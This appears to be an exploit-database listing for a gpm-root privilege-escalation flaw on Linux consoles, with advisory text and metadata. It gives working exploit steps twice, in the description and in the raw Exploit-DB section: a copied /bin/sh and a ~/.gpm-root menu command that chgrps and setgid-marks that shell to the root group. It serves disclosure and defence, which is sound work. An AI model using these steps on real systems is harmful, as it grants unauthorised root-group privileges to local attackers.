header-logo
Suggest Exploit
vendor:
GPM-Root
by:
SecurityFocus
7.2
CVSS
HIGH
Design Error
250
CWE
Product Name: GPM-Root
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2002

GPM-Root Vulnerability

A vulnerability exists in the gpm-root program, part of the gpm package. This package is used to enable mice on the consoles of many popular Linux distributions. The problem is a design error, caused when a programmer chose to attempt to revert to the running users groups, after having called setuid to the users id already. The setgid call fails, and the process maintains the groups the gpm-root program is running as. This is usually the 'root' group. This vulnerability requires the user have console access. cp /bin/sh /tmp create a .gpm-root file in ~ with the following: button 1 { name "create a setgid shell" "setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh" } click control-left mouse button, and click "setgid shell" execute /tmp/sh

Mitigation:

The user should not have access to the console.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1069/info

A vulnerability exists in the gpm-root program, part of the gpm package. This package is used to enable mice on the consoles of many popular Linux distributions. The problem is a design error, caused when a programmer chose to attempt to revert to the running users groups, after having called setuid to the users id already. The setgid call fails, and the process maintains the groups the gpm-root program is running as. This is usually the 'root' group.

This vulnerability requires the user have console access. 

cp /bin/sh /tmp
create a .gpm-root file in ~ with the following:
button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

click control-left mouse button, and click "setgid shell"
execute /tmp/sh